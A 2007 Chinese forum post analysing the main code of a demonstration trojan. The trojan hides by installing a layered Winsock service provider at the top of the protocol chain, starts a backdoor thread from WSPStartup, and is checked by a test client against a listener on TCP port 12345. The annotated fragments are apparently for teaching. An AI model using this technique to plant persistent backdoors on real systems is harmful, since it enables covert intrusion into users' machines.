| 发表于:2007-06-21 14:47:5026楼 得分:0 |
四)主要代码分析 1.instbd.exe 可执行程序instbd.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了ip分层协议及与tcp相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。 自定义函数: bool getfilter(); //获得所有已经安装的传输服务提供者 void freefilter(); //释放存储空间 void installfilter(); //安装分层协议,协议链及排序 void removefilter(); //卸载分层协议和协议链 代码分析: protoinfo=(lpwsaprotocol_infow)globalalloc(gptr,protoinfosize); //分配wsaprotocol_infow结构的存储空间 totalprotos=wscenumprotocols(null,protoinfo,&protoinfosize,&errorcode); //获得系统中已安装的所有服务提供者 getcurrentdirectory(max_path,filter_path); //得到当前的路径 _tcscpy(filter_name,_t( "\\backdoor.dll ")); //构造服务提供者文件backdoor.dll的路径全名 wscinstallprovider(&filterguid,filter_path,&iplayerinfo,1,&errorcode); //安装自定义的ip分层协议 iplayercataid=protoinfo[i].dwcatalogentryid; //获得已安装自定义ip分层协议的由ws2_32.dll分配的唯一标志 udpchaininfo.protocolchain.chainentries[0]=iplayercataid; //将自定义的ip分层协议作为自定义udp协议链的根分层服务提供者安装在协议链的顶端 wscinstallprovider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode); //安装协议链 wscwriteproviderorder(cataentries,totalprotos); //更新所有服务提供者的安装顺序,把自定义的服务提供者排在所有协议的最前列 wscdeinstallprovider(&filterguid,&errorcode); //卸载ip分层协议 wscdeinstallprovider(&filterchainguid,&errorcode); //卸载协议链 2.backdoor.dll 传输服务提供者都是以动态链接库的形式存在的,在应用程序需要时由ws2_32.dll加载,在用完之后就被卸载。传输服务提供者只有一个入口函数就是wspstartup,它是windows socket 应用程序调用spi的初始化函数,其他spi函数的调用都是通过wspstartup的参数wspupcalltable来实现的。其中有个全局变量,可共所有调用dll的程序读取与修改。在首次加载服务提供者时,我们启动木马进程。演示中木马进程没有任何特别的功能,当客户端和监听的服务器端口连接后,如果客户端发送了特定的暗号,服务端就会回送特定的消息。 自定义函数: int wspapi wspstartup( word wversionrequested,lpwspdata lpwspdata,lpwsaprotocol_infow lpprotoinfo, wspupcalltable upcalltable,lpwspproc_table lpproctable); //spi函数wspstartup和windows socket 2的api函数wsastartup相对应,wspstartup是唯一的入口函数,剩下的30个spi函数则是通过参数upcalltable来实现的,它们只能在内部调用,不向外提供入口 代码分析: hthread=createthread(null,0,backdoor,null,0,null); //创建木马进程,它只是展示数据的流通 getmodulefilename(null,processname,max_path); //获得调用本服务提供者动态链接库的可执行文件的全名 outputdebugstring(_t( "start the backdoor ... ")); //输出调试信息 layerid=protoinfo[i].dwcatalogentryid; //获得已安装自定义ip分层协议的由ws2_32.dll分配的唯一标志 nextlayerid=lpprotoinfo-> protocolchain.chainentries[i+1]; //获得下一层传输服务提供者的标志信息 wscgetproviderpath(&protoinfo[i].providerid,filterpath,&filterpathlen,&errorcode); //获得下一层传输服务提供者的安装路径 expandenvironmentstrings(filterpath,filterpath,max_path); //扩展环境变量 hfilter=loadlibrary(filterpath)); //装载下一层传输服务提供者 wspstartupfunc=(lpwspstartup)getprocaddress(hfilter, "wspstartup ")); //获得下一层传输服务提供者的入口函数wspstartup,以便调用 wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable); //调用下一层传输服务提供者的wspstartup函数,实现钩子功能 nextproctable=*lpproctable; //保存下一层服务提供者的30个服务函数指针 由于以动态链接库形式的服务提供者要向外提供一个入口函数,因此还须一个配置文件backdoor.def: exports wspstartup //向外提供入口函数wspstartup 3.testbd.exe 这是一个测试程序,用来检测木马的服务器端是否正常工作。在它发送特定的消息到服务器端后,如果服务器正常工作就会回送特定的消息,反之则不会收到任何消息。由于木马的服务器在tcp的12345端口监听,所以我们的客户端也是基于tcp协议的。 五)小结与后记 本文的目的在于向大家介绍一种编程思路,固不是任何的木马教程。其实只有在不断的对抗中,技术和思路才会不断的提高。我们只有充分的了解了各种技术,甚至有前瞻的能力才能维护好网络秩序,促进网络安全的发展。最后送给大家一句老话:知己知彼,百战不殆。 | | |
|